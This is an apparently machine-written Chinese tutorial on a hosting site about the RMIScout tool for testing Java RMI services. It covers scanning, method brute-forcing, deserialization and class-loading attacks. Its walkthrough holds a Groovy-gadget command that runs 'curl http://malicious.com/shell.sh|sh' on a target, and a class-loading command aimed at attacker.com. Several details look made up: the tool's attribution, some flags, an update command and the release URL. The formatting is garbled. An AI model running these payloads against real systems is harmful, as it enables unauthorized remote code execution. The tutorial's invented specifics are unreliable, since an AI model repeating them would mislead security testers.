您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# RMIScout怎么使用
## 目录
1. [工具概述](#工具概述)
2. [环境准备](#环境准备)
3. [基础使用方法](#基础使用方法)
4. [高级功能详解](#高级功能详解)
5. [实战案例演示](#实战案例演示)
6. [常见问题排查](#常见问题排查)
7. [安全注意事项](#安全注意事项)
8. [总结与资源](#总结与资源)
---
## 工具概述
RMIScout 是一款针对 Java RMI(Remote Method Invocation)服务的专业安全测试工具,由安全研究员 Nicky Bloor 开发。其主要功能包括:
- RMI 注册表枚举
- 远程方法签名探测
- 反序列化漏洞检测
- 动态类加载分析
**核心优势**:
- 无需提前知道接口定义
- 支持绕过JEP 290安全限制
- 提供多种攻击向量检测
---
## 环境准备
### 系统要求
- Java 8+ 运行环境(建议JDK 11)
- 网络可达目标RMI服务(默认端口1099)
- 测试环境推荐:
```bash
# 示例:搭建测试RMI服务
git clone https://github.com/example/rmi-test-server
cd rmi-test-server
mvn package && java -jar target/rmi-server.jar
两种获取方式: 1. 直接下载编译版本:
wget https://github.com/BishopFox/rmiscout/releases/latest/rmiscout.jar
git clone https://github.com/BishopFox/rmiscout
cd rmiscout
./gradlew shadowJar
java -jar rmiscout.jar scan <target_ip> [port]
示例输出:
[+] 发现RMI注册表在 192.168.1.100:1099
|-- 绑定对象列表:
|-- CalculatorService
|-- UserDatabase
[!] 检测到可能的易受攻击实现:UserDatabase
参数 | 说明 |
---|---|
-t |
设置超时(默认3000ms) |
-v |
详细输出模式 |
--legacy |
兼容旧版RMI协议 |
java -jar rmiscout.jar bruteforce <target> <service_name>
工作原理: 1. 通过动态生成方法签名 2. 利用反射API探测有效方法 3. 自动过滤JVM内置方法
java -jar rmiscout.jar deserialize \
--gadget CommonsCollections6 \
--cmd "whoami" \
<target>
支持的主流gadget chain: - CommonsCollections 3/6/7 - Groovy - Spring
java -jar rmiscout.jar classloading \
--http-server http://attacker.com \
<target>
检测逻辑: 1. 诱导服务器加载远程类 2. 监控HTTP请求日志 3. 识别不受控的类加载行为
场景: - 目标IP:10.10.10.200 - 服务端口:21099
操作流程:
# 步骤1:服务发现
java -jar rmiscout.jar scan 10.10.10.200 21099 -v
# 步骤2:方法枚举
java -jar rmiscout.jar bruteforce 10.10.10.200:21099 PayrollService
# 步骤3:漏洞利用
java -jar rmiscout.jar deserialize \
--gadget Groovy \
--cmd "curl http://malicious.com/shell.sh|sh" \
10.10.10.200 21099
发现结果: - 存在未授权访问的getSalary方法 - 成功利用Groovy链实现RCE
解决方案: 1. 检查防火墙规则
iptables -L -n | grep 1099
telnet <target> 1099
尝试添加参数:
--bypass-jep
--legacy-mode
常见错误处理:
// 示例:类加载错误
Caused by: java.lang.ClassNotFoundException
→ 添加依赖到classpath:
java -cp "rmiscout.jar:libs/*" ...
// 安全配置示例
System.setProperty("sun.rmi.registry.registryFilter", "java.lang.**;java.util.**");
# 自动更新命令
java -jar rmiscout.jar update
本文档最后更新于:2023年11月 “`
注:实际使用时请根据以下要点调整: 1. 替换示例中的IP和域名 2. 根据实际测试环境修改命令参数 3. 遵守所在地区的网络安全法律法规 4. 敏感操作前务必获得书面授权
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。